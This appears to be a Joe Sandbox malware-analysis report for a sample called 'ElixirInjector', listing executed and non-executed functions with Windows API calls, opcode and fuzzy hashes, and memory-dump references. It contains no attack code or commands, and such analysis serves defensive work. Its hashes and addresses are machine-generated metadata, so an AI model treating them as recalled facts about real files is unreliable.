                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: eb5b764eba29685065e24278ac8fb0bc5f2690a062476e44343f7438612818ab
                                                                                              • Instruction ID: 11508de24fad83c6fc3c6f5d26655ea4a2341ab73adbe0feb8765508e5837ef5
                                                                                              • Opcode Fuzzy Hash: eb5b764eba29685065e24278ac8fb0bc5f2690a062476e44343f7438612818ab
                                                                                              • Instruction Fuzzy Hash: 57A011C22AA0203C300822A03C03C3B0A0CC0C2B22332A22EF808C0080B888082838B2
                                                                                              Function 00F2E569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: c7109fde157cd6e2263abeaa204a9210a3239f9d588ed23c16cdf5955c803e3a
                                                                                              • Instruction ID: f1807dabfba8907a8743a24e9c35eed44555ea91e4fcd14e655d997d6ed64126
                                                                                              • Opcode Fuzzy Hash: c7109fde157cd6e2263abeaa204a9210a3239f9d588ed23c16cdf5955c803e3a
                                                                                              • Instruction Fuzzy Hash: 84A011C22AA022BC300822003C03C3B0A0CC0C2F20332A82EF88AC8080B8800C0038B2
                                                                                              Function 00F2E555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 34073e398207f7e6e587c97aac2c6b14d0d2348a6694ea1e6a6b444447d64c5f
                                                                                              • Instruction ID: f1807dabfba8907a8743a24e9c35eed44555ea91e4fcd14e655d997d6ed64126
                                                                                              • Opcode Fuzzy Hash: 34073e398207f7e6e587c97aac2c6b14d0d2348a6694ea1e6a6b444447d64c5f
                                                                                              • Instruction Fuzzy Hash: 84A011C22AA022BC300822003C03C3B0A0CC0C2F20332A82EF88AC8080B8800C0038B2
                                                                                              Function 00F2E55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: a83df14480d95b7c0bd18f4461c15eeec532ced7ac9845b3ee3a035d3a0ef280
                                                                                              • Instruction ID: f1807dabfba8907a8743a24e9c35eed44555ea91e4fcd14e655d997d6ed64126
                                                                                              • Opcode Fuzzy Hash: a83df14480d95b7c0bd18f4461c15eeec532ced7ac9845b3ee3a035d3a0ef280
                                                                                              • Instruction Fuzzy Hash: 84A011C22AA022BC300822003C03C3B0A0CC0C2F20332A82EF88AC8080B8800C0038B2
                                                                                              Function 00F2E541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: d9bebe160b314b55e4d7ac5e5fab983f5a085666f95766a49af9c9cefae5c50f
                                                                                              • Instruction ID: f1807dabfba8907a8743a24e9c35eed44555ea91e4fcd14e655d997d6ed64126
                                                                                              • Opcode Fuzzy Hash: d9bebe160b314b55e4d7ac5e5fab983f5a085666f95766a49af9c9cefae5c50f
                                                                                              • Instruction Fuzzy Hash: 84A011C22AA022BC300822003C03C3B0A0CC0C2F20332A82EF88AC8080B8800C0038B2
                                                                                              Function 00F19F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetEndOfFile.KERNELBASE(?,00F1903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00F19F0C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: File
                                                                                              • String ID:
                                                                                              • API String ID: 749574446-0
                                                                                              • Opcode ID: af540e02216fa4cc38f82d237aa8bd4fa003d475a3879d1a87789bb812055868
                                                                                              • Instruction ID: adbf051fbff43977f66e347da82fe0fdf893ccd7992cc718d8a717c1dab856f5
                                                                                              • Opcode Fuzzy Hash: af540e02216fa4cc38f82d237aa8bd4fa003d475a3879d1a87789bb812055868
                                                                                              • Instruction Fuzzy Hash: 13A0113808000E8AAE002B30CA0800C3B20EB22BC830002A8A00ACA0A2CB22880BAA00
                                                                                              Function 00F2AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetCurrentDirectoryW.KERNELBASE(?,00F2AE72,C:\Users\user\Desktop,00000000,00F5946A,00000006), ref: 00F2AC08
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CurrentDirectory
                                                                                              • String ID:
                                                                                              • API String ID: 1611563598-0
                                                                                              • Opcode ID: c75b6a858f82d8c75c0343a097215143029f7c848ae726cdc79fcc23690e9724
                                                                                              • Instruction ID: 7adee84b03e5e4f5d84d8a2f2e2d675614c4913f6dd5d86a344e57d4ff56a873
                                                                                              • Opcode Fuzzy Hash: c75b6a858f82d8c75c0343a097215143029f7c848ae726cdc79fcc23690e9724
                                                                                              • Instruction Fuzzy Hash: 44A011302002808BA2000B328F0AA0EBAAAAFA2B00F00C028A80080030CB30C830BA00
                                                                                              Function 00F19620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CloseHandle.KERNELBASE(000000FF,?,?,00F195D6,?,?,?,?,?,00F42641,000000FF), ref: 00F1963B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseHandle
                                                                                              • String ID:
                                                                                              • API String ID: 2962429428-0
                                                                                              • Opcode ID: a7772b90fbc0d590582fcafda1ab6c5b41627b6cfd87d07dcd5282071312e75a
                                                                                              • Instruction ID: 2b81a9d36f592d99dfb3c98f4cc65690521993b13e46663d93d449d7b1eabafd
                                                                                              • Opcode Fuzzy Hash: a7772b90fbc0d590582fcafda1ab6c5b41627b6cfd87d07dcd5282071312e75a
                                                                                              • Instruction Fuzzy Hash: F5F08970889B159FDB308A24C8687D277E86B22335F041B1ED4F6439E0D7A165CDAA90

                                                                                              Non-executed Functions

                                                                                              Function 00F2C220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F11316: GetDlgItem.USER32(00000000,00003021), ref: 00F1135A
                                                                                                • Part of subcall function 00F11316: SetWindowTextW.USER32(00000000,00F435F4), ref: 00F11370
                                                                                              • SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00F2C2B1
                                                                                              • EndDialog.USER32(?,00000006), ref: 00F2C2C4
                                                                                              • GetDlgItem.USER32(?,0000006C), ref: 00F2C2E0
                                                                                              • SetFocus.USER32(00000000), ref: 00F2C2E7
                                                                                              • SetDlgItemTextW.USER32(?,00000065,?), ref: 00F2C321
                                                                                              • SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00F2C358
                                                                                              • FindFirstFileW.KERNEL32(?,?), ref: 00F2C36E
                                                                                              • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00F2C38C
                                                                                              • FileTimeToSystemTime.KERNEL32(?,?), ref: 00F2C39C
                                                                                              • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00F2C3B8
                                                                                              • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00F2C3D4
                                                                                              • _swprintf.LIBCMT ref: 00F2C404
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                              • SetDlgItemTextW.USER32(?,0000006A,?), ref: 00F2C417
                                                                                              • FindClose.KERNEL32(00000000), ref: 00F2C41E
                                                                                              • _swprintf.LIBCMT ref: 00F2C477
                                                                                              • SetDlgItemTextW.USER32(?,00000068,?), ref: 00F2C48A
                                                                                              • SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00F2C4A7
                                                                                              • FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00F2C4C7
                                                                                              • FileTimeToSystemTime.KERNEL32(?,?), ref: 00F2C4D7
                                                                                              • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00F2C4F1
                                                                                              • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00F2C509
                                                                                              • _swprintf.LIBCMT ref: 00F2C535
                                                                                              • SetDlgItemTextW.USER32(?,0000006B,?), ref: 00F2C548
                                                                                              • _swprintf.LIBCMT ref: 00F2C59C
                                                                                              • SetDlgItemTextW.USER32(?,00000069,?), ref: 00F2C5AF
                                                                                                • Part of subcall function 00F2AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00F2AF35
                                                                                                • Part of subcall function 00F2AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00F4E72C,?,?), ref: 00F2AF84
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
                                                                                              • String ID: %s %s$%s %s %s$REPLACEFILEDLG
                                                                                              • API String ID: 797121971-1840816070
                                                                                              • Opcode ID: 7ae73c4dc5f902bc2e0ae5d4e4b477787e6fb260a788dd0d6fefbd7ccd5484ff
                                                                                              • Instruction ID: 528f091f413636a5350511eded13d84e7b42215d30167e1371035dc304db7801
                                                                                              • Opcode Fuzzy Hash: 7ae73c4dc5f902bc2e0ae5d4e4b477787e6fb260a788dd0d6fefbd7ccd5484ff
                                                                                              • Instruction Fuzzy Hash: 5A91A272548358BBD221DBA0DC49FFF77ACEB8A700F444819F689D6081DB75EA04A763
                                                                                              Function 00F16FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F16FAA
                                                                                              • _wcslen.LIBCMT ref: 00F17013
                                                                                              • _wcslen.LIBCMT ref: 00F17084
                                                                                                • Part of subcall function 00F17A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00F17AAB
                                                                                                • Part of subcall function 00F17A9C: GetLastError.KERNEL32 ref: 00F17AF1
                                                                                                • Part of subcall function 00F17A9C: CloseHandle.KERNEL32(?), ref: 00F17B00
                                                                                                • Part of subcall function 00F1A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00F1977F,?,?,00F195CF,?,?,?,?,?,00F42641,000000FF), ref: 00F1A1F1
                                                                                                • Part of subcall function 00F1A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00F1977F,?,?,00F195CF,?,?,?,?,?,00F42641), ref: 00F1A21F
                                                                                              • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00F17139
                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00F17155
                                                                                              • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00F17298
                                                                                                • Part of subcall function 00F19DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00F173BC,?,?,?,00000000), ref: 00F19DBC
                                                                                                • Part of subcall function 00F19DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00F19E70
                                                                                                • Part of subcall function 00F19620: CloseHandle.KERNELBASE(000000FF,?,?,00F195D6,?,?,?,?,?,00F42641,000000FF), ref: 00F1963B
                                                                                                • Part of subcall function 00F1A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00F1A325,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A501
                                                                                                • Part of subcall function 00F1A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00F1A325,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A532
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
                                                                                              • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                                                                                              • API String ID: 3983180755-3508440684
                                                                                              • Opcode ID: 4a2f8cc782fc7a064b688283f3e370e30667b1aaa97b4c320ed65ab724d2ecdf
                                                                                              • Instruction ID: 2530b06807d766ca53173b368c5cb3bdc646887792822135cfbec620657f7e1f
                                                                                              • Opcode Fuzzy Hash: 4a2f8cc782fc7a064b688283f3e370e30667b1aaa97b4c320ed65ab724d2ecdf
                                                                                              • Instruction Fuzzy Hash: 07C1E671D04744AADB25EB74DC41FEEB7B8AF04310F004559F95AE3282D778AA84EB61
                                                                                              Function 00F3D8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: __floor_pentium4
                                                                                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                              • API String ID: 4168288129-2761157908
                                                                                              • Opcode ID: 3c6fdb9eb1414b22c4e188190ac3d5526beec7df2cc96dc83957012e6e21303b
                                                                                              • Instruction ID: becbde364f044276b487e9b0aed0aff9f67365c4e72ab593012f56d3231f06b1
                                                                                              • Opcode Fuzzy Hash: 3c6fdb9eb1414b22c4e188190ac3d5526beec7df2cc96dc83957012e6e21303b
                                                                                              • Instruction Fuzzy Hash: CAC24D72E046288FDB25CE28DD407EAB7B5EF44364F1541EAD84DE7280E779AE819F40
                                                                                              Function 00F132F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog_swprintf
                                                                                              • String ID: CMT$h%u$hc%u
                                                                                              • API String ID: 146138363-3282847064
                                                                                              • Opcode ID: 96d3c35037ecbdbbb4a3392f9f0fe56b08b246af1df3fc1b57f2a87ce59a8dd8
                                                                                              • Instruction ID: e20278da38a72e739d06d087dc894f8ba1f646f4088f08a78c03d801d3bf13f1
                                                                                              • Opcode Fuzzy Hash: 96d3c35037ecbdbbb4a3392f9f0fe56b08b246af1df3fc1b57f2a87ce59a8dd8
                                                                                              • Instruction Fuzzy Hash: EA32E471504384AFDF18DF74C895AE93BA5AF54300F08047DFD8A8B282DB74AA89DB60
                                                                                              Function 00F1286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F12874
                                                                                              • _strlen.LIBCMT ref: 00F12E3F
                                                                                                • Part of subcall function 00F202BA: __EH_prolog.LIBCMT ref: 00F202BF
                                                                                                • Part of subcall function 00F21B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00F1BAE9,00000000,?,?,?,000103D8), ref: 00F21BA0
                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F12F91
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
                                                                                              • String ID: CMT
                                                                                              • API String ID: 1206968400-2756464174
                                                                                              • Opcode ID: 72f75742b0e7cda930ee7722f6fb94379ecb423155664079652361a568eeb59e
                                                                                              • Instruction ID: b4ae980d53506de3051d42f643550d3e42790871dec593bc8992f48a66149094
                                                                                              • Opcode Fuzzy Hash: 72f75742b0e7cda930ee7722f6fb94379ecb423155664079652361a568eeb59e
                                                                                              • Instruction Fuzzy Hash: B76228719002848FDB19DF78C8857EA3BA1FF54310F08457EEC9A8B282DB7599D5EB60
                                                                                              Function 00F2F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00F2F844
